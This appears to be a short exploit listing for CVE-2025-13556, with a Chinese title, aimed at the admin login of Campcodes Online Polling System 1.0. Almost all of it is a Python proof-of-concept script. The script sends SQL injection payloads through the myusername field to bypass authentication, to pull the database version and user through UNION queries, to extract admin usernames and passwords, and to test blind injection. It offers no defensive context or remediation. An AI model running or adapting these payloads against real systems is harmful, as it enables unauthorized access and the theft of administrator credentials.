CVE-2025-13556 Campcodes在线投票系统SQL注入漏洞

# CVE-2025-13556 SQL Injection PoC # Target: Campcodes Online Polling System 1.0 # Endpoint: /admin/checklogin.php # Parameter: myusername (vulnerable to SQL Injection) import requests import sys target_url = "http://target.com/admin/checklogin.php" # PoC 1: Basic Authentication Bypass payload_basic = "' OR '1'='1' --" data_basic = { 'myusername': payload_basic, 'mypassword': 'anything' } print("[+] Testing Basic SQL Injection...") response = requests.post(target_url, data=data_basic) if 'admin' in response.text.lower() or response.status_code == 302: print("[!] Vulnerable! Authentication bypass possible") # PoC 2: Union-based Injection to extract database version payload_union = "' UNION SELECT NULL,version(),user(),database() --" data_union = { 'myusername': payload_union, 'mypassword': 'test' } print("[+] Testing Union-based Injection...") response = requests.post(target_url, data=data_union) if '5.' in response.text or '8.' in response.text: print("[!] Database version information extracted!") # PoC 3: Extract admin credentials payload_extract = "' UNION SELECT NULL,username,password FROM admin --" data_extract = { 'myusername': payload_extract, 'mypassword': 'test' } print("[+] Extracting admin credentials...") response = requests.post(target_url, data=data_extract) # Check response for admin credentials print("[*] Check response content for extracted credentials") # PoC 4: Boolean-based Blind Injection def blind_injection(target, param, payload): data = {param: payload} response = requests.post(target, data=data) return len(response.text) > 100 # Test if application is vulnerable to blind injection payload_blind = "' AND 1=1 --" if blind_injection(target_url, 'myusername', payload_blind): print("[!] Application vulnerable to blind SQL injection") print("\n[!] PoC completed. Further exploitation requires manual analysis.")